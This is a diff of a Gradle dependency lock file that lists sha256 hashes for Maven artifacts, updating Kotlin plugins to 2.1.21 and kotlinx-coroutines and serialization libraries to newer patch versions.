+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/2.1.21": {
+   "jar": "sha256-BYO5l57dTI9f78CNWRGCHpw7Bakbg5+hqgcPkm7ny6A=",
+   "pom": "sha256-FLbl3/I/lNzTMmw9JXv2JeRVsVCVJiBcILNAtCw1f6M="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea/2.1.20": {
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea/2.1.21": {
    "jar": "sha256-APb4Q6vJMNDGGrtOPjAsjRd2EpH5srwlhv4SsMuXXq0=",
-   "module": "sha256-td7wBfIpohsq1pJt9wjPhLqe+8TsGcY16/5baTcx2wg=",
-   "pom": "sha256-CjCxRdSY1H2yVdDUzWp3hMXx+QyL+YgsupWCKjvzMHA="
+   "module": "sha256-gIWGw896zkzfCLEYX7yv0PVcUhNIUPNmUlr7rlC7xTo=",
+   "pom": "sha256-N0agkbc65RnLtbszwftDNKYyR8W/kOgidFL9wgZ9+k8="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-model/2.1.20": {
-   "jar": "sha256-1jf7pHCzv3E7CmXmcXrV3QOocl/MlFMCiUc6smtC6Cs=",
-   "module": "sha256-WJm5fnqbFx5sBeVJziqbo8ddJZMVnUsrAVZkFLVoUWo=",
-   "pom": "sha256-18CRV8ehutuNrk6Jv54N9FRbBM0DqqQJZqJm87hG0sM="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-model/2.1.21": {
+   "jar": "sha256-aATNXwXXf6lUrHt6kw57V/rgjK8CTiKRiAo8KKSfwHU=",
+   "module": "sha256-Ifoqg7FTeAa7x+1lVrmVIqXhbziR6CiKG8/ozf0mQrg=",
+   "pom": "sha256-G8Rcq/W6A2rdAmkEVCOxH0pXv0tPylnjGzxCspFmAcI="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.1.20": {
-   "module": "sha256-6Ue1RPTNCcFQr9h5G70yoxN92uMEWn1TlL6lCaq5bFc=",
-   "pom": "sha256-H2OowlwTZmlled2VLz639CoKSns/avaRpIIjEwb82sk="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.1.21": {
+   "module": "sha256-fhIOTfygjt1IkK/gtou6WqifJ/uhHY/mj2ttoLISk1g=",
+   "pom": "sha256-wMnxGQvSSKV9G3U26ahPw/6d8YCwJMPlblGi7iwLz80="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.1.20/gradle85": {
-   "jar": "sha256-+wFuZDtY4Koq7IkRDq8U54s3aMFX8lQ0V5X9aqEEk+s="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.1.21/gradle85": {
+   "jar": "sha256-6sBIdsGrZgNvYBb9kIM/IEsCNsJ2R1nK0GknbgLLQ+Y="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.1.20": {
-   "module": "sha256-IF4RacYovsBfHVnkTTIJFSiun9U6fjPsVDvO/bEojeY=",
-   "pom": "sha256-Y5ymx2U+Gp2pXfKjuuJsy3AcA6/VjHl6tr9vJV9kwwE="
+  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.1.21": {
+   "module": "sha256-avSUrGVuckg0HOukOePWJhFtARfJ+9+Xq+5lcOEaCHc=",
+   "pom": "sha256-eTmPhH1rfKipak5GOf+iLhaRJIr+tOgQGeEdG9C7IFI="
   },
-  "org/jetbrains/kotlin#kotlin-klib-commonizer-api/2.1.20": {
-   "jar": "sha256-EyGYEVmGCVkEsMsB76rh2BJJZB75FJ4Fs0T4ZKrpdfQ=",
-   "pom": "sha256-LZayVvD8kesSvOtuR2HhPXAf8TU/BZL8VymI2uai0Zs="
-  },
-  "org/jetbrains/kotlin#kotlin-metadata-jvm/2.0.0": {
-   "jar": "sha256-rY8cfbxaxG9cvS0uXeOcVsnbZd195xaoTgHOIIdYruY=",
-   "pom": "sha256-PyOxTvYPHkQ9bUHzmYPiOKpkiVjOHYmLarOcx8kYIGY="
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-api/2.1.21": {
+   "jar": "sha256-Q+CkDB33nDOjBJkUvJ5mbkT7yyDwfUVo7qBZXpcqLHE=",
+   "pom": "sha256-3F+A6RGCz54qBN/XKdcOfTFOHt+NZGJLFm5o90lSw9Q="
   },
   "org/jetbrains/kotlin#kotlin-metadata-jvm/2.1.0": {
    "jar": "sha256-uNOpJXS6HfxJvfIFJW0e3gZkFIyxUKti+qhyteG7RjI=",
@@ -2908,18 +3087,14 @@
    "jar": "sha256-2obtTzqMiIVZLWuKppH7hge0nzdzyLvQjDsUoxsU0v0=",
    "pom": "sha256-OZxrMFNXrzLnNKHaSNydMR73ZhVSBR9IHHJPBeTNwBw="
   },
-  "org/jetbrains/kotlin#kotlin-native-utils/2.1.20": {
-   "jar": "sha256-pyVic6u53yI1kk2A/dNtZ4tFhGfDB2xmhRxCQ3vdPGY=",
-   "pom": "sha256-1Gec6AsERY5fzL1pteMUvxwMFnmH4EOVRv3+z7U+M0Y="
+  "org/jetbrains/kotlin#kotlin-native-utils/2.1.21": {
+   "jar": "sha256-3ECUhclc04pfMNWHjr6ai/Lm5vJUtv6eRcygmZkF4HA=",
+   "pom": "sha256-2RW7ZEMRhfvbhlxNKxLmuniqaME0fFnfrieaMqIyhPk="
   },
   "org/jetbrains/kotlin#kotlin-reflect/1.6.10": {
    "jar": "sha256-MnesECrheq0QpVq+x1/1aWyNEJeQOWQ0tJbnUIeFQgM=",
    "pom": "sha256-V5BVJCdKAK4CiqzMJyg/a8WSWpNKBGwcxdBsjuTW1ak="
   },
-  "org/jetbrains/kotlin#kotlin-reflect/1.9.20": {
-   "jar": "sha256-SbZvmonVD9KVTC6K6sgOT0iLCgkyKiXvrWJhV2cT3A8=",
-   "pom": "sha256-lCtehgLTF+wTZS8cAiIFK7kIF/KM9v6dRxEvCbPo5n0="
-  },
   "org/jetbrains/kotlin#kotlin-reflect/1.9.24": {
    "jar": "sha256-plFmRFu4XvgWzeEnJ5/gAX0rfMQ5s7lyOQ4bc21k6Uw=",
    "pom": "sha256-CghcMAUb1tSrdlrVoMUXnEE7NfdBjyiDFy+9m6GrzMk="
@@ -2928,6 +3103,10 @@
    "jar": "sha256-OtL8rQwJ3cCSLeurRETWEhRLe0Zbdai7dYfiDd+v15k=",
    "pom": "sha256-Aqt66rA8aPQBAwJuXpwnc2DLw2CBilsuNrmjqdjosEk="
   },
+  "org/jetbrains/kotlin#kotlin-reflect/2.1.0": {
+   "jar": "sha256-tfYI7fqYqM+iNyzBLRitqXS+HFbBCT7/BswGH0/AiLI=",
+   "pom": "sha256-nNhLPU9xfJYjXkujtydolcz/1V3kEcfOCz97q1Yu/kI="
+  },
   "org/jetbrains/kotlin#kotlin-sam-with-receiver-compiler-plugin-embeddable/2.0.21": {
    "jar": "sha256-x88d6VXfIqFihyImvQZ3yaDItmMKLi1z0R0UfNDFO3M=",
    "pom": "sha256-cWKsEOFFTpJ2c7FcrQMp2jgvt1jmVPWfy0AHRZ2eyEE="
@@ -2936,45 +3115,45 @@
    "jar": "sha256-nBEfjQit5FVWYnLVYZIa3CsstrekzO442YKcXjocpqM=",
    "pom": "sha256-lbLpKa+hBxvZUv0Tey5+gdBP4bu4G3V+vtBrIW5aRSQ="
   },
-  "org/jetbrains/kotlin#kotlin-script-runtime/2.1.20": {
-   "jar": "sha256-rkOX+7OqKhraCSkOdTu6maQRRUiXfDEVUmuZWPTLGgQ=",
-   "pom": "sha256-D4O1qQFWxhpv8QlVey2YjicQ7j++n0pCV6bqDYdIw9Y="
+  "org/jetbrains/kotlin#kotlin-script-runtime/2.1.21": {
+   "jar": "sha256-2CIfRFhU8wrJLCSNVDYJ4Oy12Fu1ujTAQ2hLATy1uJc=",
+   "pom": "sha256-/RCT8ncp9uYMG6xjkFYkDMXvP16zQUT/LqgahFeBFJQ="
   },
   "org/jetbrains/kotlin#kotlin-scripting-common/2.0.21": {
    "jar": "sha256-+H3rKxTQaPmcuhghfYCvhUgcApxzGthwRFjprdnKIPg=",
    "pom": "sha256-hP6ezqjlV+/6iFbJAhMlrWPCHZ0TEh6q6xGZ9qZYZXU="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-common/2.1.20": {
-   "jar": "sha256-X9v2rnIjfOM11gPrEsSbCbycGjPAwB8dYud/8zZjzvs=",
-   "pom": "sha256-H3dwkEXdkF63UFqUKA037HV/CHCc/p86dKunO7+Z95s="
+  "org/jetbrains/kotlin#kotlin-scripting-common/2.1.21": {
+   "jar": "sha256-RYLip8B/lTOptKZAijKl9Xll37FF1kaGCthn1GMIQ/E=",
+   "pom": "sha256-O04w8DuW7euw0ThjDCIwSN5w6MQILJDQaUPsok1B7tU="
   },
   "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/2.0.21": {
    "jar": "sha256-JBPCMP3YzUfrvronPk35TPO0TLPsldLLNUcsk3aMnxw=",
    "pom": "sha256-1Ch6fUD4+Birv3zJhH5/OSeC0Ufb7WqEQORzvE9r8ug="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/2.1.20": {
-   "jar": "sha256-PU93KyOEFGUAF+l0YiVrfE1e36EBPL9Ud1c+sawuKIQ=",
-   "pom": "sha256-D/9/8dO/qczj77tNs4mJwmilHrZ/ge/QMRuKZGGLhak="
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/2.1.21": {
+   "jar": "sha256-tbHg9AYvkc/iFtcGF+ivl3S1KI/YGeDOX2BQ+Nhukvo=",
+   "pom": "sha256-SCLW9orULZzZRP1zUpClvbXN8Psd1dpszG6F/AjtXfk="
   },
   "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/2.0.21": {
    "jar": "sha256-btD6W+slRmiDmJtWQfNoCUeSYLcBRTVQL9OHzmx7qDM=",
    "pom": "sha256-0ysb8kupKaL6MqbjRDIPp7nnvgbON/z3bvOm3ITiNrE="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/2.1.20": {
-   "jar": "sha256-9mXXCxoIN/86Dve+xPxdn+1n6nXkaX3hWOtR8epQHD8=",
-   "pom": "sha256-tjmuINh6gV4wTd0goOTEk34Ttfx6Qme14VwOWQIphmU="
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/2.1.21": {
+   "jar": "sha256-oSlfKCsHDAzv25aGFPb2SqcfG9vnRvHt9jUnQH1dlrE=",
+   "pom": "sha256-WM84eKRG1G8/YECYa5wrU9f3pNneB+0mQzNdWAuDdgQ="
   },
   "org/jetbrains/kotlin#kotlin-scripting-jvm/2.0.21": {
    "jar": "sha256-iEJ/D3pMR4RfoiIdKfbg4NfL5zw+34vKMLTYs6M2p3w=",
    "pom": "sha256-opCFi++0KZc09RtT7ZqUFaKU55um/CE8BMQnzch5nA0="
   },
-  "org/jetbrains/kotlin#kotlin-scripting-jvm/2.1.20": {
-   "jar": "sha256-afRXrKuYNkwOtXjEl+DDypMLjPuCvndASdoEzeOAh/c=",
-   "pom": "sha256-PERTORE37EVcdL5Jb3HZpJhpbSVJvmT1mmBkfO7iVT0="
+  "org/jetbrains/kotlin#kotlin-scripting-jvm/2.1.21": {
+   "jar": "sha256-s/4fcumtSC1yb4nhOfRcSv57P4Ct/kzckdzAoiY3l40=",
+   "pom": "sha256-ghqPEByspjga2jbyM7nJH8wIhrNYT16qXPMESEm6tqI="
   },
-  "org/jetbrains/kotlin#kotlin-serialization-compiler-plugin-embeddable/2.1.20": {
-   "jar": "sha256-5pZQZxDSxI0BfMiczB6kkQF5lXcJK3Ah/q2pX/Yv1X8=",
-   "pom": "sha256-Al1rBx59fPPsennw0/5He9Ydveir9ZbYn41DL3wBmCU="
+  "org/jetbrains/kotlin#kotlin-serialization-compiler-plugin-embeddable/2.1.21": {
+   "jar": "sha256-0hSA7OwU4CLaICr7xAkWfFPGT/ZAv7IZAiMP7cYoXeE=",
+   "pom": "sha256-chwbOMaiiJdBO7rhel3WMPRMBPlGiXNgTP4fYy42Z4s="
   },
   "org/jetbrains/kotlin#kotlin-stdlib-common/1.9.10": {
    "pom": "sha256-fUtwVHkQZ2s738iSWojztr+yRYLJeEVCgFVEzu9JCpI="
@@ -2987,9 +3166,9 @@
    "module": "sha256-fgul3UlZnOJ2woa+M0hY8lEoSiD3bbm8D12g+8mbtfU=",
    "pom": "sha256-u8xfrT9+3ktGnUnbpsA+GZMTNlW16BcTteahvt0c60I="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib-common/2.1.20": {
-   "module": "sha256-lNCtKyMZuFxANRz57nB32hLdOFA5LmzxCj/oFZ+8c/c=",
-   "pom": "sha256-1iLjAAVmBil0Qmj6iRKPt97U1C4XTOsIH2f3BWrJqLs="
+  "org/jetbrains/kotlin#kotlin-stdlib-common/2.1.21": {
+   "module": "sha256-pNj8FM7bN3mEOkf7zlIv0XPph1CRlk26wbjdeIT2wfk=",
+   "pom": "sha256-kk6Exb2AM5n2nFspYmsTKpSwBAL1X53lugGNyBHfo5M="
   },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.8.21": {
    "jar": "sha256-M9FI2w4R3r0NkGd9KCQrztkH+cd3MAAP1ZeGcIkDnYY=",
@@ -2999,14 +3178,14 @@
    "jar": "sha256-rGNhv5rR7TgsIQPZcSxHzewWYjK0kD7VluiHawaBybc=",
    "pom": "sha256-x/pnx5YTILidhaPKWaLhjCxlhQhFWV3K5LRq9pRe3NU="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.9.20": {
-   "jar": "sha256-xUUdZ6J/M6/QmRPGfhzro4l65wiEsk7w/3EVflW2CGU=",
-   "pom": "sha256-AS4cVe1q3kF7y4JBEuvqaCrWJd++4WCFw3nM+hT68DM="
-  },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk7/1.9.24": {
    "jar": "sha256-tmmbhQugeJ8ukEJ5zYvce+qRMP/RV826AB/HQl2KR7c=",
    "pom": "sha256-RYapN9W8vDqzBCwECaHHKWFLy6PHpylvJS1ibuNzh9Q="
   },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk7/2.1.0": {
+   "jar": "sha256-/epsQgNyT0Lo5kvvLwv3kSnM0d8e3xzP/cIt599JjHY=",
+   "pom": "sha256-BvvBTssUoK9HtaP400dj9JM9XLpaPSRQRb/i8r25Gx4="
+  },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk7/2.1.10": {
    "jar": "sha256-L4dvs1tz2YBuyFAHAyZavL1ap8PIH0GiylSoVahkmzQ=",
    "pom": "sha256-6yvOL/52LUQE2Or+lYF3XLxbkLsfl/0xZLpyJRfTvsY="
@@ -3019,26 +3198,18 @@
    "jar": "sha256-pMdNlNZM4avlN2D+A4ndlB9vxVjQ2rNeR8CFoR7IDyg=",
    "pom": "sha256-X0uU3TBlp3ZMN/oV3irW2B9A1Z+Msz8X0YHGOE+3py4="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.9.20": {
-   "jar": "sha256-+DP8yU8LscMbnni9S9p+oj9Xn/NAiuGpTi61dHCGoqs=",
-   "pom": "sha256-o7B96wkfKu1Z1lWYhPRPmc/135ufo1okvNa4sGnP9I0="
-  },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk8/1.9.24": {
    "jar": "sha256-W1u/s+EYS14TMXw9QiN/okrdRDsud4GWHuozTbE2rbE=",
    "pom": "sha256-BuBt70n5aq9uXD7EKDauWdbi2mJUcAkUKBZ1Z53J8qU="
   },
+  "org/jetbrains/kotlin#kotlin-stdlib-jdk8/2.1.0": {
+   "jar": "sha256-I408fkkvEZtQ2hwiVG3XYkYuVfIkCWEfXlPdd2Jc1UQ=",
+   "pom": "sha256-52K4xFaQropqNd9YT1S+nJ2mWIXmGpBUJq6vylk34c4="
+  },
   "org/jetbrains/kotlin#kotlin-stdlib-jdk8/2.1.10": {
    "jar": "sha256-sJJg6kgo3Gz8Z9JhJ9rOOK4ru+ilZdLQKXJegcLSWOw=",
    "pom": "sha256-YGyBfFx/1hFnDVWVK1dz+lxo8OPNJyelXe07GzzKLYc="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib/1.9.20": {
-   "module": "sha256-3Mql0xVHD6s5IFAohru4Xy2myGECxl2cBEEFRO7bIBk=",
-   "pom": "sha256-43IWpzLI6Bqf0FtN2JLDDKwMrXtOP9ovlmP0jogHQcA="
-  },
-  "org/jetbrains/kotlin#kotlin-stdlib/2.0.20": {
-   "module": "sha256-3AUdwExqGW8tBtDTya8zufErybT+E5rhKQFAUII2tns=",
-   "pom": "sha256-Cu6WIJHn3QKIzDykz0qSjFYgcUYCEb+PQXkAkwbmGf4="
-  },
   "org/jetbrains/kotlin#kotlin-stdlib/2.0.21": {
    "jar": "sha256-8xzFPxBafkjAk2g7vVQ3Vh0SM5IFE3dLRwgFZBvtvAk=",
    "module": "sha256-gf1tGBASSH7jJG7/TiustktYxG5bWqcpcaTd8b0VQe0=",
@@ -3054,29 +3225,29 @@
    "module": "sha256-jSwdcXxzVG1WOC0TbIZQtZpxWZQBciY4GJNKzkTLBI0=",
    "pom": "sha256-SSISHT8LxgzkB/Ny3kLQKgt+lOddDD0VCLaDVyHySe8="
   },
-  "org/jetbrains/kotlin#kotlin-stdlib/2.1.20": {
-   "jar": "sha256-G8x06M6E4sJeqv3hDxJINJzOMGK242l4y+7GENsekwo=",
-   "module": "sha256-VdKW5FRF9siGmbCJZwbqlVCvh62Uhz3BO2W+u9VmCm8=",
-   "pom": "sha256-Z1DheZ7lAgd9rlw9WZeW9mdgb2DTXpXLeQRI3HkStAs="
+  "org/jetbrains/kotlin#kotlin-stdlib/2.1.21": {
+   "jar": "sha256-JjvcZ54fYgEtt7CReWJ5ttcc829Hl6mP8azgWDXyAcg=",
+   "module": "sha256-DTc1BD1ot6WvtE0n3mX4Cp0rIIRicJwu27SP1bOVrYo=",
+   "pom": "sha256-xVJAhso+SaZ5ht+P3M1mA3uvXzxaNYt2+d1gm+57tjg="
   },
-  "org/jetbrains/kotlin#kotlin-tooling-core/2.1.20": {
+  "org/jetbrains/kotlin#kotlin-tooling-core/2.1.21": {
    "jar": "sha256-tPu1I+hmLUqEUbmjap5/1D9jfLDNapueNoFxlmXavY0=",
-   "pom": "sha256-PO8cS3yC7KjMAcMMrt0VSQWeZfL51BYsjJ13+6JBMXY="
+   "pom": "sha256-RdzNNvsgz0B28XOMmbzt98rdd3Xti8cWopgr0VzpaDA="
   },
-  "org/jetbrains/kotlin#kotlin-util-io/2.1.20": {
-   "jar": "sha256-gqOymmEdR85jSuLmxQnN4qhvlLI7hr4whk6z1Lj+jn4=",
-   "pom": "sha256-eSQnftICC4UQ1F8N0QgREmVoEDAH2D+ZcfwYRmC9hKM="
+  "org/jetbrains/kotlin#kotlin-util-io/2.1.21": {
+   "jar": "sha256-43JJKisFVtYv0Djj7fxFMbVQZUhs4o0E9HBj0rwDDBw=",
+   "pom": "sha256-XzfSWuJDprEFAHoH18j0Wd4zep84fMiz63VPmNZCoA4="
   },
-  "org/jetbrains/kotlin#kotlin-util-klib-metadata/2.1.20": {
-   "jar": "sha256-8tXmhHFbkgtghJaObDPIuwWwtrl5GYAOLyIdlBgkDH0=",
-   "pom": "sha256-hCdVuVwx20vbks9tQshUGhcB+ivc8lIahwa8sDKgoZc="
+  "org/jetbrains/kotlin#kotlin-util-klib-metadata/2.1.21": {
+   "jar": "sha256-lMf8tAQF9WSCQAuqI1yW6BAQweBDv/YwC3CzTl6o2bs=",
+   "pom": "sha256-eoezrWbdJ6gKAzWv3R9Hij3SrldqmpQ7sfN2ORv435E="
   },
-  "org/jetbrains/kotlin#kotlin-util-klib/2.1.20": {
-   "jar": "sha256-/3nFsObkLZIOuxx2uhDMLdvyJOgFZFqO6sreSRbiqs4=",
-   "pom": "sha256-ps3TjXdd/QfQe9FZ00LPegqWg4qH50guIgxjrtluEoA="
+  "org/jetbrains/kotlin#kotlin-util-klib/2.1.21": {
+   "jar": "sha256-pSSDHpeV0+dW1N5Uy9WyEN6Al9rXxHiryVeuP2DgpxY=",
+   "pom": "sha256-CzeIoSSkcVMm+oZ3iFz7KYkf73jLKxbOBhP/JBCZ9Rg="
   },
-  "org/jetbrains/kotlin/native/cocoapods#org.jetbrains.kotlin.native.cocoapods.gradle.plugin/2.1.20": {
-   "pom": "sha256-Ud4AgMpY7sAcC9faZsz6yM6cDwasE2UJDIAuZ1j9hTg="
+  "org/jetbrains/kotlin/native/cocoapods#org.jetbrains.kotlin.native.cocoapods.gradle.plugin/2.1.21": {
+   "pom": "sha256-W3YfMyOOHJGrslM/z1sgHbSWwYmGNFs55wlJAvid+JA="
   },
   "org/jetbrains/kotlinx#atomicfu-gradle-plugin/0.27.0": {
    "jar": "sha256-Ol911FKwg/txpx9fTjcvZH5kIguP1fXyk4pBDj4ESXc=",
@@ -3109,6 +3280,9 @@
   "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.10.1": {
    "pom": "sha256-nL0EumPnOZhWdFcT4xLS8hYaHUTtpQbe1HyNVtr4Rh8="
   },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.10.2": {
+   "pom": "sha256-+vDGU45T3cBJmmNmTY52PCFlgLLhjnIsy98bQxpq/iY="
+  },
   "org/jetbrains/kotlinx#kotlinx-coroutines-bom/1.6.4": {
    "pom": "sha256-qyYUhV+6ZqqKQlFNvj1aiEMV/+HtY/WTLnEKgAYkXOE="
   },
@@ -3120,6 +3294,11 @@
    "module": "sha256-GN1lRl7IDQ5uXXGBi/EZLvSBfPXSASgrW5sbcTrHlpo=",
    "pom": "sha256-f5AURlw6uheoNXqJZcqcnKjJ4aBEfHrqEXxkB4CKUtY="
   },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.10.2": {
+   "jar": "sha256-XKF1s43zMf1kFVs1zYyuElH6nuNpcJs21C4KKIzM4/0=",
+   "module": "sha256-6eSnS02/4PXr7tiNSfNUbD7DCJQZsg5SUEAxNcLGTFM=",
+   "pom": "sha256-ZY9Xa5bIMuc4JAatsZfWTY4ul94Q6W36NwDez6KmDe8="
+  },
   "org/jetbrains/kotlinx#kotlinx-coroutines-core-jvm/1.6.4": {
    "jar": "sha256-wkyLsnuzIMSpOHFQGn5eDGFgdjiQexl672dVE9TIIL4=",
    "module": "sha256-DZTIpBSD58Jwfr1pPhsTV6hBUpmM6FVQ67xUykMho6c=",
@@ -3134,6 +3313,10 @@
    "module": "sha256-y/1tFz4KXCmGr5U/ixzPKYAqrQnqympOkRQQj4rKyLE=",
    "pom": "sha256-Ip7SIxgcPK8nt6wwHIFp3KLYYxkbcQ5hNVGlh5XANlU="
   },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.10.2": {
+   "module": "sha256-j+JUF35xGnzRijwG2CQvzpRfQcLMoT3BmzOuQqVDUBY=",
+   "pom": "sha256-UZ2lQACW80YqTa6AeDrQUEE9S8gex65T+udq7wzL7Uw="
+  },
   "org/jetbrains/kotlinx#kotlinx-coroutines-core/1.8.0": {
    "module": "sha256-FE7s1TZd4+MNe0YibAWAUeOZVbXBieMfpMfP+5nWILo=",
    "pom": "sha256-yglaS/iLR0+trOgzLBCXC3nLgBu/XfBHo5Ov4Ql28yE="
@@ -3143,24 +3326,29 @@
    "module": "sha256-Z53VZCkanbzH7lbmZCzzqdB7BXGWj9lN5BachzJ/i8U=",
    "pom": "sha256-UqJfb2ZMxFkJQmTVEDOeVYOqyQJ/DqqqPXA1XHVQkkY="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-swing/1.10.1": {
-   "jar": "sha256-qOh6sO902a8KkWo3y3UtfCrrYhHyXWI3mYI1nJZWHdo=",
-   "module": "sha256-P8dvci/OUdZsWememwHmFMozLBpiW1j1/7H/ZvoBGgA=",
-   "pom": "sha256-pxygooWV1T8YLSaT9FWC0KsuhQYYe4azqQWNMUR4Y2c="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-slf4j/1.10.2": {
+   "jar": "sha256-1l3uPK+m97+u/ttJP8aLXGOr51BzT7ivkvrHoNMQFFc=",
+   "module": "sha256-B7xJACLGWAQpQfUrFxwPXOBkvWxjUikEMDmS5BegRbs=",
+   "pom": "sha256-xHdj+siNuwlDhJ0W4RucBdReYDhMfNExBe5xD7TdX7M="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-test-jvm/1.10.1": {
-   "jar": "sha256-rD9FbJ4lw/wBVC3CCGVdBYPNN7X3LDWFYme3S9FmSrY=",
-   "module": "sha256-1Vy3uqS9VxhXovsAlq2pCDkpDPbzlw3hyGo3SusjhYI=",
-   "pom": "sha256-TvSo5xgZYDxXlcn4ejrRwLktoq61ANQ7TdfkHn6EoYk="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-swing/1.10.2": {
+   "jar": "sha256-Ar24XyDsCABEKav2iH6NDkDzq2N9dGL4F/D4q759HrU=",
+   "module": "sha256-kFK7SUS5FqUGX2GNfUb+EqTAxonQIbyYQ1v4l3WIsWQ=",
+   "pom": "sha256-zt+0Miu5cVkXrmmCCeoS3ziKuliVy7rRxWcith6EQ8A="
+  },
+  "org/jetbrains/kotlinx#kotlinx-coroutines-test-jvm/1.10.2": {
+   "jar": "sha256-WQpUn4wdtZDJ2YqKIEJKH1gaNBYqNp5qa9iEzn0209c=",
+   "module": "sha256-VrIIF8xRrYi9tZwBIWsJiXzU+mmNUXu0d9kqlyp6Gq8=",
+   "pom": "sha256-Y96yqGiry+JIjrzrqnXnMbLvIQQQO4FzjnY3/JolpfM="
   },
   "org/jetbrains/kotlinx#kotlinx-coroutines-test-jvm/1.8.0": {
    "jar": "sha256-FTXMH0MjXYVm+NW8bRwR8HBBF+TlY/Ls5+aqPmhpXyA=",
    "module": "sha256-HS0Zc6L0GowMEmPmCyXneS9ji4xV18ocbQZztkvlfac=",
    "pom": "sha256-BtHlPqNm5to7FxkwV1+RYnzxnkUqTnqfDeMNLwQdZFE="
   },
-  "org/jetbrains/kotlinx#kotlinx-coroutines-test/1.10.1": {
-   "module": "sha256-AkvK55oMK20YsLqRTJ9d4UW7+8nckZ8nD4lbLj34cVU=",
-   "pom": "sha256-ZpLE67CEkFdBfJclBfYjCNOoV62m66JGnTM40HX6JXM="
+  "org/jetbrains/kotlinx#kotlinx-coroutines-test/1.10.2": {
+   "module": "sha256-QiByzuO2n2jVsVA7tmUb54lGsEw5KEocwCbM6L3x+AY=",
+   "pom": "sha256-vyXI3w7J8+rHu+5Tm2AbYBm36Z9fPzAR4ugXixQHUNs="
   },
   "org/jetbrains/kotlinx#kotlinx-coroutines-test/1.8.0": {
    "module": "sha256-DsPHX/2ZpqLfto8wfy8vcxQckz5Yt3sQTxyMrDr9U5Q=",
@@ -3217,6 +3405,9 @@
   "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.8.0": {
    "pom": "sha256-xD5IdSnM/RIJ66hlOrjolZggNGSq+/5fBEje2ZKHFQk="
   },
+  "org/jetbrains/kotlinx#kotlinx-serialization-bom/1.8.1": {
+   "pom": "sha256-APNVWudiSFHGfbEsMIvJziauMnzw1yR2akAeW6AGCMc="
+  },
   "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.6.3": {
    "jar": "sha256-KcghqNTiXL/k8s6WzdRSb2H49OaaE1+WEqNKgdk7ZfE=",
    "module": "sha256-MpEE29NOS96QVhHUJ8dYTlPD+MQRg2+59pmsnbpbqmw=",
@@ -3227,6 +3418,11 @@
    "module": "sha256-NzH80jhWGpCpdSs0hfHWNeAbRF5Kd4F9ewd/S50vQi0=",
    "pom": "sha256-QVKRtvWbeTemcau136BLJyl811jLUQLNzHWUFJj5wDw="
   },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core-jvm/1.8.1": {
+   "jar": "sha256-NWW21NeJv3BoPEVWaUQof8HY3HXCPZi9h9AQWcx28rM=",
+   "module": "sha256-++GdWIrX1fZGZmaCA0/0Tglo0iBx/mzPn5ngPHpe+lc=",
+   "pom": "sha256-RGZV6NQ4KL+7OHzp0VGpNxowkrSLkJ6AYGtT/FiXnig="
+  },
   "org/jetbrains/kotlinx#kotlinx-serialization-core/1.6.3": {
    "module": "sha256-Nh6eMetylhdLdAhaxJ7dhKTzkAupQxpOQM0cI952oyg=",
    "pom": "sha256-0tv2/BU2TIlp1qq24+zMdROZU/LMBXtzDjUmdGWztX4="
@@ -3235,24 +3431,36 @@
    "module": "sha256-mE2aqabpvMONfoNuqNAAsThyCH/GZY0NjWIldjPzlfE=",
    "pom": "sha256-nVbnQWLOQn4MSetsuXUSR0Mq3PwukTw4KWY+27qr7hM="
   },
+  "org/jetbrains/kotlinx#kotlinx-serialization-core/1.8.1": {
+   "module": "sha256-eL3oMFSUrxs445ZrUleskINAFkk/i60hm4iGx/vbJdU=",
+   "pom": "sha256-Rz8Ko+Sheqt4YNykkNxC6rthJPHSlT5qmVoIcX5QxxQ="
+  },
   "org/jetbrains/kotlinx#kotlinx-serialization-json-io-jvm/1.8.0": {
-   "jar": "sha256-q17I6kiBUZfEan359BimJ5H+kc2lAjuUHOTehy2BDME=",
    "module": "sha256-/pQ5hti3/I7HoytonItHbDDM9KNbcKLEWxtffZ00BkM=",
    "pom": "sha256-PbZlvwY1l3Inc9mKLQpqSps0FpeEFOnTYfICjTUc0yg="
   },
+  "org/jetbrains/kotlinx#kotlinx-serialization-json-io-jvm/1.8.1": {
+   "jar": "sha256-q17I6kiBUZfEan359BimJ5H+kc2lAjuUHOTehy2BDME=",
+   "module": "sha256-vz47hoSxN/py0pZVZ1/c4xRGewh5JikYMm2vedE+Afo=",
+   "pom": "sha256-27ETuPvVUEVZjiTmATIGrrzKkSr+Vjnr2VJjC579kjw="
+  },
